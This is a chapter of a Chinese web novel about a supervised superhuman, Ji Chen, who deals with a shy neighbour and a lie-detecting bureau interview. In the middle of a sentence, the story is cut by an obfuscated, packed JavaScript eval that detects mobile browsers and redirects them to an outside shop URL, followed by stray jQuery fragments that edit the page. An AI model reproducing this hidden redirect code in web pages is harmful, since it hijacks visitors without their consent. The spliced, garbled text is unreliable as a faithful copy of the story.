门内，季沉背靠门板，等待耳朵上热意消退。


    他需要尽快完成信息认证，获得自由，还有加入公会的权利。


    不过对门邻居的情况实属罕见，按照他这个情况下去，系统能力不再失控时等级该是E还是D呢？


    季沉正胡乱琢磨着，听到埃蒙难得正经的声音。


    【“我还是提醒你一句吧，我知道方怜青这个人。”】


    【“你知道？”】季沉，【“你之前有盯上他？”】


    看方怜青昨天露的那一手，系统能力就是念力操控之类的。


    埃蒙的身份特殊，除非盯上什么人，否则应该不会对谁印象深刻。


    ——对，他原本是杀手组织的。


    埃蒙不怀好意地笑笑：


    【“他……和我可是同行啊，季沉。”】


    方怜青后来成了杀手吗？


    季沉的脸上浮现出意外，饶是他也没有想到这一茬。


    狄原更是惊呼出声，【“方怜青是杀手？怎么会？他现在不是隶属管理局吗？”】


    埃蒙轻哼，【“不清楚，我只是知道有这么一个人在另一个组织，系统能力就是念动力。”】


    【“……可能的发展太多，不能直接归结于叛逃。”】


    傅柏郁，【“走一步看一步。”】


    【“嗯。”】


    季沉蹲下来，有些烦躁地揉乱自己头发。他的手机接收到信息，说是明天管理局会来一趟，熊钧鸿让他待在家里不要出门。


    果然被怀疑了。


    正常情况下，信息认证和监管期都是比较快就能结束。


    维持较长时间蹲姿的他小腿开始酸起来。


    就在这时候，他听到一门板之隔貌似有什么动静。


    考虑到特殊人类之中会有五感特别灵敏的，这片小区房间的大门门板隔音效果很好。


    季沉也是几乎贴在门上才注意到声响，他从猫眼往外看，正好看到对门邻居偷偷摸摸回屋的背影。


    “……？”


    季沉开门出去，发现自己的门上被贴了便签纸。


    他揭下便签纸一眼扫过，内容字迹工整，字里行间都能看出执笔者的小心翼翼：


    『刚才真的对不起，如果有受伤请把费用告知我，我会赔偿。』


    季沉没在自己屋里找到纸笔，还特地在文具店里临时购买之后可能会需要的商品。


    文具店的收银台旁边放着一个住户群邀请码，见季沉多看去几眼，老板便热情地邀请他加入群聊。


    “……”季沉记得这个小区分明只是暂时的住处，“这个是干什么用的？”


    “交个朋友嘛，大家都是特殊人类。帅哥，你是什么级别的啊？”


    “D级。”


    “噢，我和你说，”老板把声音压低，“这群里还有A级B级的呢。”


    季沉歪了歪头，“AB级别的不是住在别的小区吗？”


    老板：“不知道，不过朋友哪嫌多呢。”


    季沉认为他说得有道理，于是掏出手机加入群聊。店里的人来来往往，他往老板边上靠了些，“哪个是A级和B级？”


    对他这种反应习以为常，老板随手给他指了几个，“呐。这个，这个还有这几个是B级的，这两个是A级。A级头像的那个很好说话，基本都能加上，其它几个别人加了不会通过，你可以试试。”


    季沉没有加好友的打算，只是逐一点进去看看。


    老板口中的那个“A级头像”还真是A级头像，头像上白底黑字就写着两个大字“A级”，点进朋友圈，头像下面还标注“加不了吃亏加不了上当”。


    季沉表情顿时难以言喻。


    ……好假。


    卖货的吧？


    “为什么说我可以试试？”


    “你长得帅啊，”老板拍拍他肩膀，“长得好看不是能有很多奇遇吗？头像记得换成本人。”


    季沉的目光从老板电脑上『十六岁年龄差姐弟恋？揭秘女星沈泠和爱德华·沃里克的地下恋情！』的页面移开，本就带着疏离的眉眼间更加冷淡，甚至漫起一点戾气。


    他不想多说，在便利贴上留下自己的联系方式，往对门上一贴，又叩门两次。


    社恐大多是害怕当面交流，通过网络交流应该没事。


    第二天，季沉独自在家时房门被敲响，他拉开房门。


    与门外带着淡淡黑眼圈的男人对上视线。


    “……”


    “……”


    “你好，我们是系统共生特殊人类管理局调查组的，为了尽快完善你的认证信息，我们有点事情想要询问一下。”


    带着文件的职业装女性面带微笑，“可以进去吗？”


    季沉的目光从门外三人脸上一一经过，最后停留在最开始对上视线的人身上。


    “他不行。”季沉说。


    “小季先生，我希望你能明白一件事，”方怜青摊手，“我的行动都是经过管理局认可的，如果你对我反感也就是对管理局反感，那么我们都不应该进去，甚至你应该搬出小区。”


    季沉道：“什么行动？我只是看不惯你的面相而已。”


    方怜青：“……”


    女性连忙说：“我们两个进去就行了，他是去对面商讨赔偿事宜的。”


    季沉这才让路，彬彬有礼道：“请进。”


    方怜青：“……”


    把方怜青关在外面的感觉很好，季沉心里那口恶气总算消散，为两位管理局的来访者倒了茶水。


    他注意到进门的一男一女之中，男性负责记录，女性手里拿着几份文件，想必是他的。


    二人身上散发出一阵细微、让人舒适的香味，也没有过多打量他的住处，流露出任何多余的情绪。


    女性柔声说：“小季，我们可以这样称呼你吗？”


    季沉顿了顿，“可以。”


    “回国之后的生活有哪里不习惯吗？”


    “……”季沉的手指交叠在一起，“您应该比我清楚。”


    “抱歉。但我可以向你承诺，昨天那种事情不会再发生。”


    女性脸上的笑容分毫未变，“为了我们的交流顺利进行，可以先进行几局词语联想游戏吗？”


    “我没有意见。”


    “感谢你的配合哦。对了，还有，可以把你的手给我吗？”


    季沉伸手与她掌心交叠。


    这时候，他注意到女性的眼睛从棕褐色转变为金黄色。


    这是在发动系统能力吗？


    她的系统能力是什么？


    季沉心不在焉地垂眸，反正他也不打算胡说八道。


    “天空？”


    “宽广。”


    “书本？”


    “书架。”


    “时间？”


    “……单行道。”


    “……”


    “……”


    他们的交谈时间大约进行一个小时，女性的眼睛恢复成棕褐色


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223819|196786||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，这表示她的系统能力终于停下来，季沉吐出一口气。


    他从来没有和谁干巴巴地聊天聊这么久，从精神到身体都有些疲惫。


    但对方显然更加疲惫才是，季沉站起来送客。


    他才打开门，发现方怜青正靠在对门上玩手机。


    “结束了？”


    方怜青伸懒腰，“那正好，一起回局里。”


    季沉不想看他，转身要关门。


    结果方怜青走过来，在他拉上门之前扒住房门，“对了，小季先生，你的对门邻居夸你是个好人呢。”


    “作比较的对象是你吗？”


    “……不是，”方怜青虽然笑着，牙却咬紧，“评判标准是他个人的善恶观吧。”


    季沉松了口气，“那就好。”


    方怜青：“……”


    ……


    “看来小季确实很讨厌你，竟然对你表现出这么有攻击性的一面。”


    始终维持礼貌笑容的女性上车后把文件一扔，放平副驾驶座的，大大咧咧地躺上去，“真是累死我了……”


    方怜青敲击副驾驶座，“起来，我这里很挤。”


    “走开，我现在很累。”


    她的系统能力需要聚精会神持续动用一个小时才能出结果，方怜青颇为绅士地挪动座位，坐在驾驶座后面往窗外看。


    “结果怎么样？”


    “就那样，”女性道，“测谎结果显示他全程没有说谎，自我认知、心理状态也符合。你为什么对他那么上心，还要跟过来一起调查？”


    方怜青神色淡淡。


    他想到今天青年冷淡中却隐隐多了几分不谙世事，总有种违和感萦绕在心中，所以才会问测试结果。


    他们三个都来过，如果找不出问题，季沉明天就能完成信息认证；如果季沉在这段期间表现得积极向上、与人为善，那他的监管期很快就能结束。


    方怜青一点也不觉得季沉是个积极向上的年轻人。


    他只觉得季沉是在特意展现出助人为乐的一面，看昨天那模样，没准还有装可怜的一面。


    季沉急着结束监管期吗？他想去哪里？


    方怜青摸着下巴，“我觉得他至少是个C级。”


    C级和C级之间也有很大的差距，按照掌控能力的熟练度和能力稀缺程度，优秀的C级系统能力也会被管理局需要。


    比如给季沉做测试的管理局员工就是C级。


    正在开车的男人终于开口，“他看起来不喜欢你。你少招惹人家。”


    “向来只有我感不感兴趣的事情，他喜不喜欢我，不在我考虑范围之内。”


    ……


    送了之后，季沉打算坐在沙发上看会儿电视。


    他摁遥控器时发现电视没有动静，才想起来自己把插头拔了。


    ……为什么会拔掉插头？他这两天闲着没事的时候应该就只会看看电视吧。


    不过他一般都看些什么来着，他怎么不太记得了。


    季沉把插头插上，重新打开电视，冷不丁跳出来一个陌生新闻——


    『爱德华·沃里克确认注册公会，公会名称、总部地点暂不公开。』


    爱德华……


    谁啊这是。


    尽管不认识，他还是目不转睛地看了很久，好像他和电视机里这个人已经熟识，甚至走过一段不短的时光。


    直到某个冷静、沉稳的男声对他说：


    【季沉，醒醒。有人在等你。】